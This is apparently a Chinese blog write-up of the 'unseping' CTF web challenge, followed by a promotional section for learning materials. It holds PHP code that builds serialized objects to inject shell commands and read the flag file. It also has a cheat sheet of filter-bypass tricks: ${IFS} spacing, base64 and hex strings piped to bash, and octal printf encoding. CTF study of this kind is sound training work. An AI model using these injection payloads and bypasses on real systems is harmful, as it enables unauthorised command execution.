2024年网络安全最新攻防世界Web题 - unseping 总结_unseping攻防世界

2401_84302722

于 2024-05-01 23:47:38 发布

阅读量259

点赞数 3

分类专栏：程序员文章标签： web安全前端安全

本文链接：https://blog.csdn.net/2401_84302722/article/details/138382933

版权

程序员专栏收录该内容

147 篇文章 0 订阅

订阅专栏

base64编码后的序列化字符串 >> unserialize() >> __wakeup() >> waf() >> __destruct() >> ping()

通过对源代码的分析，我们可以得出以下几点：
1、序列化字符串需要进行base64编码
2、私有变量 method="ping"
3、私有变量 args 是一个数组

涉及函数作用：
1、unserialize()  反序列化
2、__wakeup()     反序列化自动调用
3、__construct()  构建对象的时被调用,反序列化时不会调用该方法
4、__destruct()   明确销毁对象或脚本结束时被调用；
5、preg_match_all()        执行一个全局正则表达式匹配。
6、call_user_func_array()  调用回调函数，并把一个数组参数作为回调函数的参数

4、解题过程

构建序列化字符串：

<?php
class ease{
    private $method;  //私有变量
    private $args;
    function __construct($method,$args) {  //创建对象时自动调用
        $this->method = $method;  //给私有变量赋值
        $this->args = $args;
    }
}

//1、获取当前目录下的文件
$e = new ease("ping", array('l""s${IFS}-l'));  
echo base64_encode(serialize($e));
//执行后，获得当前目录下存在目录：flag_1s_here

//2、获取 flag_1s_here 目录下的文件
$e = new ease("ping", array('l""s${IFS}-l${IFS}fl""ag_1s_here'));  //获取当前目录下的文件
echo base64_encode(serialize($e));
//执行后，获得 flag_1s_here 目录下存在文件 flag_831b69012c67b35f.php，浏览器访问后没有反应，说明只能查看该文件

//3、查看flag_831b69012c67b35f.php文件的内容，因为 /、;、|、& 都已经被过滤了，这里采用8进制绕过
//把 cat flag_1s_here/flag_831b69012c67b35f.php 转为8进制如下："\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160"
$a = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
$e = new ease("ping", $a);  
echo base64_encode(serialize($e));
//获取到flag：array(2) { [0]=> string(5) " string(47) "//$cyberpeace{e922462a49effa0bc1ac5410d01a89d2}" }

5、绕过技巧说明

linux下绕过空格技巧（因为空格被过滤，所以需要绕过空格）

${IFS}：在linux下，${IFS}是分隔符的意思，所以可以有${IFS}进行空格的替代。
$IFS$9：$起截断作用，9为当前shell进程的第九个参数，始终为空字符串，所以同样能代替空字符串进行分割。
$IFS$1
<：>>和>都属于输出重定向，<属于输入重定向。
<>
{,}

关键字绕过

Base64编码绕过：
echo MTIzCg==|base64 -d     //打印123，MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag
echo "bHM="|base64 -d|sh           //将执行ls

Hex编码绕过：
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")    执行cat /flag

Oct编码绕过：
$(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") 执行cat index.php
$(printf "\154\163")       执行ls

内联执行绕过：
echo "a`pwd`"     # 输出a/opt
cat$IFS$9`ls`     # 查看当前目录下的所有的文件内容

引号绕过：
ca""t  =>  cat
mo''re  =>  more  

反斜杠绕过：
ca\t  =>  cat
mo\re  =>  more

这里给出一个字符串转8进制的pyhon脚本

# 字符串转8进制
str_1 = input("请输入要转换的字符串:")
str_8 = ""
for s in str_1:
    str_8 += str(oct(ord(s))).replace("0o", "\\")


### 一、网安学习成长路线图


网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/aa7be04dc8684d7ea43acc0151aebbf1.png)


### 二、网安视频合集


观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/f0aeee2eec7a48f4ad7d083932cb095d.png)


### 三、精品网安学习书籍


当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/078ea1d4cda342f496f9276a4cda5fcf.png)


### 四、网络安全源码合集+工具包


光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e54c0bac8f3049928b488dc1e5080fc5.png)


### 五、网络安全面试题


最后就是大家最关心的网络安全面试题板块  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/15c1192cad414044b4dd41f3df44433d.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/b07abbfab1fd4edc800d7db3eabb956e.png)  



**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**